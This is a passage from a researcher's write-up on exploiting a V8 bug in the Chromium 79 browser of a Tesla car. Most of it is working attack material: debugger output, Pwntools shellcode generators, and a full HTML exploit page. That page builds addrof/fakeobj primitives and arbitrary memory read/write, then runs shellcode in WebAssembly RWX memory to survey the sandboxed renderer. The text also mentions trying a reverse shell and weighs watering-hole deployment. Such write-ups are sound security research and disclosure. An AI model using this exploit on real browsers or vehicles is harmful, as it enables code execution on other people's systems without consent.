0x29f9a7b97021: int3
0x29f9a7b97022: int3
0x29f9a7b97023: int3
This looks like there’s plenty of space to overwrite with custom shellcode. As a test, the easiest thing to do is write 0xCCCCCCCCCCCCCCCC
to the first 8 bytes of the page, overwriting the jump and triggering a breakpoint (or several). This will demonstrate control of execution.
[...previous exploit code...]
let f = wasm_instance.exports.main;
let wasm_instance_addr = addrof(wasm_instance).sub(1);
let rwx_addr = memory.read64(wasm_instance_addr.add(0x80)); // Chrome 79.0.3945.88
print('rwx_addr: ' + rwx_addr);
memory.write64(rwx_addr, new Int64('0xCCCCCCCCCCCCCCCC'));
print('Press enter to run WASM code');
readline();
f();
(gdb) run --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
Starting program: /home/ubuntu/v8/master/v8/out/x64.debug/d8 --allow-natives-syntax /mnt/hgfs/TeslaPwn/test_wasm.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff2e6c700 (LWP 80589)]
[New Thread 0x7ffff266b700 (LWP 80590)]
[New Thread 0x7ffff1e6a700 (LWP 80591)]
rwx_addr: 0x000038a828a15000
Press enter to run WASM code
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x000038a828a15001 in ?? ()
=> 0x000038a828a15001: cc int3
At this point I loaded up a common reverse TCP shell shellcode, which worked fine in d8
but had no result in the Tesla. Unfortunately for this project, it looks like they did include sandboxing on their version of Chromium. Most useful system calls are blocked by a seccomp-bpf
, especially anything networking-related or filesystem-related.
There is still some reconnaissance that can be done, however, most notably the UID running the browser, and the kernel version in use.
Simple system calls like getuid
that return a single integer value are straightforward, as the Javascript engine will convert the return value in RAX
into an SMI and expose it as the return value of the WebAssembly function.
The Pwntools shellcraft module is useful for writing shellcode and producing a Javascript array to copy into the RWX memory:
import binascii
from pwn import *
def chunks(lst, n):
"""Yield successive n-sized chunks from lst."""
for i in range(0, len(lst), n):
yield lst[i:i + n]
shellcode = """
/* Prologue */
push rbp
mov rbp, rsp
push 0xa
sub rsp, 0x10
/* call getuid() */
push SYS_getuid /* 0x66 */
pop rax
syscall
/* Epilogue */
_epilogue:
mov rsp, rbp
pop rbp
ret
"""
bytecode = asm(shellcode, arch='amd64')
print('let sc = [')
for chunk in chunks(bytecode, 8):
if len(chunk) != 8:
chunk += '\x90' * (8 - len(chunk))
print("\t '{}',".format(hex(u64(chunk))))
print('];')
$ python getuid.py
let sc = [
'0x83480a6ae5894855',
'0x48050f58666a10ec',
'0x90909090c35dec89',
];
$
[...previous exploit code...]
function run_shellcode(sc) {
sc.forEach(function(item, index) {
memory.write64(rwx_addr.add(index*0x8), new Int64(item));
});
let res = f();
return res;
}
function getuid() {
let sc = [
'0x83480a6ae5894855',
'0x48050f58666a10ec',
'0x90909090c35dec89',
];
return run_shellcode(sc);
}
log('uid: ' + getuid());
Knowing the Linux kernel version would also be helpful at this stage, as attacking the kernel directly might be an avenue to break out of the sandbox. uname
is a slightly more complicated system call, as its argument is a pointer to a chunk of writable memory.
Fortunately, there’s an entire writable page at a known location. A classic shellcode technique to gain the address of a buffer after the shellcode then completes the puzzle:
/* Prologue */
push rbp
mov rbp, rsp
push 0xa
sub rsp, 0x10
jmp buf
begin:
pop rdi /* Pop the return address from the call */
add rdi, 0x10 /* Fix up the address a little bit */
or rdi, 0xfffffffffffffff0
push SYS_uname /* 0x3f */
/* rdi = Address of struct utsname */
pop rax
syscall
/* Epilogue */
_epilogue:
mov rsp, rbp
pop rbp
ret
buf:
call begin /* Place the address after this instruction onto the stack */
And finally, the kernel information from uname(2)
is accessible and can be displayed to the user:
function intarray_to_string(arr) {
var str = "";
for (var i = 0; i < arr.length; i++) {
if (arr[i] === 0) {
break;
}
str += String.fromCharCode(arr[i]);
}
return str;
}
function uname() {
let sc = [
'0x83480a6ae5894855',
'0xc783485f13eb10ec',
'0x583f6af0e7834810',
'0xe8c35dec8948050f',
'0x90909090ffffffe8',
];
run_shellcode(sc);
let output_addr = rwx_addr.add(0x30);
let output_buf = new ArrayBuffer(2048);
let float_view = new Float64Array(output_buf);
let int8_view = new Uint8Array(output_buf);
for (var i = 0; i < 48; i++) {
float_view[i] = memory.read64(output_addr.add(i*8)).to_double();
}
// Note: Offsets found experimentally, may vary on other systems
let sysname = intarray_to_string(int8_view.slice(0, 0x40));
let nodename = intarray_to_string(int8_view.slice(0x41, 0x41+0x40));
let release = intarray_to_string(int8_view.slice(0x82, 0x82+0x40));
let version = intarray_to_string(int8_view.slice(0xc3, 0xc3+0x46));
let machine = intarray_to_string(int8_view.slice(0x104, 0x104+0x40));
return {
"sysname": sysname,
"nodename": nodename,
"release": release,
"version": version,
"machine": machine,
};
}
Finally, the full exploit code to survey using the system calls that are available:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>TeslaPwn</title>
<!-- <link rel="stylesheet" href="css/styles.css?v=1.0"> -->
</head>
<body>
<h1>TeslaPwn</h1>
<ul id="log"></ul>
<script src="int64.js"></script>
<script type="text/javascript">
function log(msg) {
console.log(msg);
let log_ul = document.getElementById("log");
if (log_ul) {
let li = document.createElement('li');
li.appendChild(document.createTextNode(msg));
log_ul.appendChild(li);
}
}
log("User Agent: " + navigator.userAgent);
if (!navigator.userAgent.includes('Tesla/')) {
log("Browser does not appear to be a Tesla browser, don't expect this to work...");
}
if (!navigator.userAgent.includes("Chromium/79.0.3945.88")) {
log("Browser appears to be newer than 79.0.3945.88, don't expect this to work...");
}
var addrof_counter = 0;
var fakeobj_counter = 1000;
function addrof(obj) {
addrof_counter += 1;
for (var i = 0; i < 100; i++) {
let x = new Function('leak_obj', `let vuln = [0.1]; \
function empty${addrof_counter}() {} \
function f${addrof_counter}(nt) { \
let a = vuln.pop(Reflect.construct(empty${addrof_counter}, arguments, nt)); \
for (var i = 0; i < 0x10000; i++) {}; \
return a; \
} \
let p${addrof_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = leak_obj; \
return Object.prototype; \
} \
}); \
function main${addrof_counter}(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
return f${addrof_counter}(o); \
} \
for (var i = 0; i < 0x10000; i++) {empty${addrof_counter}();} \
main${addrof_counter}(empty${addrof_counter}); \
main${addrof_counter}(empty${addrof_counter}); \
let q = main${addrof_counter}(p${addrof_counter}); \
return Int64.from_double(q);`
)(obj);
if (x !== 0x7ff8000000000000) {
return x;
}
}
}
function fakeobj(addr) {
fakeobj_counter += 1;
return new Function('new_obj_addr', `let vuln = [0.1]; \
let empty${fakeobj_counter} = function() {} \
let f${fakeobj_counter} = function(nt) { \
vuln.push(typeof(Reflect.construct(empty${fakeobj_counter}, arguments, nt)) === Proxy ? 0.2 : new_obj_addr); \
for (var i = 0; i < 0x10000; i++) {}; \
} \
let p${fakeobj_counter} = new Proxy(Object, { \
get: function() { \
vuln[0] = {}; \
return Object.prototype; \
} \
}); \
let main${fakeobj_counter} = function(o) { \
for (var i = 0; i < 0x10000; i++) {}; \
f${fakeobj_counter}(o); \
} \
for (var i = 0; i < 0x10000; i++) { empty${fakeobj_counter}(); } \
main${fakeobj_counter}(empty${fakeobj_counter}); \
main${fakeobj_counter}(empty${fakeobj_counter}); \
main${fakeobj_counter}(p${fakeobj_counter}); \
return vuln[3];`
)(addr);
}
let target_array_buffer = new ArrayBuffer(0x200);
let fake_map = {
a: 0x3132, // Map root
b: new Int64('0x1900042417080808').to_double(), // flags
c: new Int64('0x00000000084003ff').to_double(), // flags 2
d: 0x4142, // prototype
e: 0x5152, // constructor_or_backpointer
f: 0x6162, // raw_transitions
g: 0, // instance_descriptors
h: 0x8182, // layout_descriptors
i: 0x9192, // dependent_code
};
let array_buffer_map = addrof(fake_map).add(0x18);
let holder = {
a: array_buffer_map.to_double(), // Map pointer
b: 0, // Properties array (don't care)
c: 0, // Elements array (don't care)
d: new Int64(0x200).to_double(), // Array length
e: addrof(target_array_buffer).sub(1).to_double(), // Backing store (not tagged)
f: new Int64(0x2).to_double(), // Flags
g: new Int64(0).to_double(), // Embedder (can just be 0)
};
let fake_pointer = addrof(holder).add(8*3);
let fake_array_buffer = fakeobj(fake_pointer.to_double());
// Make 32-bit accessors
let fake_array_buffer_u32 = new Uint32Array(fake_array_buffer);
memory = {
read64: function(addr) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
return new Int64(undefined, accessor[1], accessor[0]);
},
write64: function(addr, value) {
fake_array_buffer_u32[8] = addr.low;
fake_array_buffer_u32[9] = addr.high;
let accessor = new Uint32Array(target_array_buffer);
accessor[0] = value.low;
accessor[1] = value.high;
},
};
// Fix up the map of the fake object (mostly untested...)
let fake_array_buffer_ptr = addrof(fake_array_buffer).sub(1);
let target_array_buffer_ptr = addrof(target_array_buffer).sub(1);
memory.write64(fake_array_buffer_ptr, memory.read64(target_array_buffer_ptr));
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let wasm_instance_addr = addrof(wasm_instance).sub(1);
let rwx_addr = memory.read64(wasm_instance_addr.add(0x80)); // Chrome 79.0.3945.88
log('rwx_addr: ' + rwx_addr);
function run_shellcode(sc) {
sc.forEach(function(item, index) {
memory.write64(rwx_addr.add(index*0x8), new Int64(item));
});
let res = f();
return res;
}
function intarray_to_string(arr) {
var str = "";
for (var i = 0; i < arr.length; i++) {
if (arr[i] === 0) {
break;
}
str += String.fromCharCode(arr[i]);
}
return str;
}
function uname() {
let sc = [
'0x83480a6ae5894855',
'0xc783485f13eb10ec',
'0x583f6af0e7834810',
'0xe8c35dec8948050f',
'0x90909090ffffffe8',
];
run_shellcode(sc);
let output_addr = rwx_addr.add(0x30);
let output_buf = new ArrayBuffer(2048);
let float_view = new Float64Array(output_buf);
let int8_view = new Uint8Array(output_buf);
for (var i = 0; i < 48; i++) {
float_view[i] = memory.read64(output_addr.add(i*8)).to_double();
}
// Note: Offsets found experimentally, may vary on other systems
let sysname = intarray_to_string(int8_view.slice(0, 0x40));
let nodename = intarray_to_string(int8_view.slice(0x41, 0x41+0x40));
let release = intarray_to_string(int8_view.slice(0x82, 0x82+0x40));
let version = intarray_to_string(int8_view.slice(0xc3, 0xc3+0x46));
let machine = intarray_to_string(int8_view.slice(0x104, 0x104+0x40));
return {
"sysname": sysname,
"nodename": nodename,
"release": release,
"version": version,
"machine": machine,
};
}
function getpid() {
let sc = [
'0x83480a6ae5894855',
'0x58276a5b0eeb10ec',
'0x90c35dec8948050f',
'0x90ffffffede89090',
];
return run_shellcode(sc);
}
function getuid() {
let sc = [
'0x83480a6ae5894855',
'0x58666a5b0eeb10ec',
'0x90c35dec8948050f',
'0x90ffffffede89090',
];
return run_shellcode(sc);
}
function getgid() {
let sc = [
'0x83480a6ae5894855',
'0x58686a5b0eeb10ec',
'0x90c35dec8948050f',
'0x90ffffffede89090',
];
return run_shellcode(sc);
}
function open_slash() {
let sc = [
'0x83480a6ae5894855',
'0x31e789482f6a10ec',
'0xf68101020101bed2',
'0xf58026a01030101',
'0x9090c35dec894805',
];
let res = run_shellcode(sc);
if (res === -1) {
log("Problem calling open(\"/\", O_RDONLY | O_DIRECTORY)");
}
return res;
}
log("PID: " + getpid());
log("UID: " + getuid());
log("GID: " + getgid());
let utsname = uname();
log("sysname: " + utsname.sysname);
log("nodename: " + utsname.nodename);
log("release: " + utsname.release);
log("version: " + utsname.version);
log("machine: " + utsname.machine);
log('FD for /: ' + open_slash());
</script>
</body>
</html>
Further Improvements
While this is a functioning exploit resulting in arbitrary code execution within the renderer process, it is far from a complete project. The most obvious place to continue research: Escaping the sandbox.
Sandbox escapes were out of scope for the Ret2 training, with only a handful of slides at the very end of the course to provide a bit of context. These slides were mostly about the usage of advanced Windows security features to harden the sandbox, discussing the remaining attack surface.
Given that the target is a Linux system, it seems likely that the sandbox is fairly robust, relying on seccomp-bpf to filter system calls (among other things). It seems likely that most Linux kernel vulnerabilities that could lead to privilege escalation will not be accessible from within the sandbox, unless an exploitable bug exists in the very limited remaining attack surface.
My approach for tackling this problem is to find relevant previous sandbox escape exploits (e.g. from Google Project Zero) and CTF challenges to rapidly learn and practice the types of vulnerabilities that exist in IPC between the renderer and browser processes. With any luck there will be a follow-up article chaining this exploit with a sandbox escape, resulting in an interesting real-world effect such as opening the “frunk.”
Less importantly, this exploit is not particularly stable, as garbage collection will certainly cause the renderer to crash. Surviving the garbage collector was covered in the training, but simply didn’t seem high priority for this project as the browser very kindly reloads the page. For a proper weaponized exploit chain, this would need to be addressed.
Finally, this vulnerability probably does not qualify as critical, as it requires user interaction to use the in-car browser to visit a page containing the exploit. Perhaps it could be deployed to Tesla-related websites as a watering-hole attack, but that seems somewhat farfetched.
The Tesla mobile application is able to induce the car to start navigating to a location on its next trip; perhaps there’s a way to use the API to send an arbitrary URL that is then loaded in the browser.
Conclusion
General Timeline:
February 24, 2020: Exodus Intelligence publishes their blog post
February 27, 2020: I become aware of the post
Around March 1, 2020: I begin toying with the Exodus proof-of-concept, quickly realize it doesn’t work on the target version
March 6, 2020: I perform the
git bisect
procedure, determining the problem, and implementaddrof
March 7, 2020: I implement
fakeobj
, taking nearly all day, then achieve arbitrary read/writeMarch 8, 2020: I achieve arbitrary shellcode execution and realize that the sandbox is in play
March 11, 2020: I finish building out the accessible system calls
The critical dates are from the evening of March 6th (a Friday) to March 8th, totaling approximately 24 hours of active work over the course of that weekend.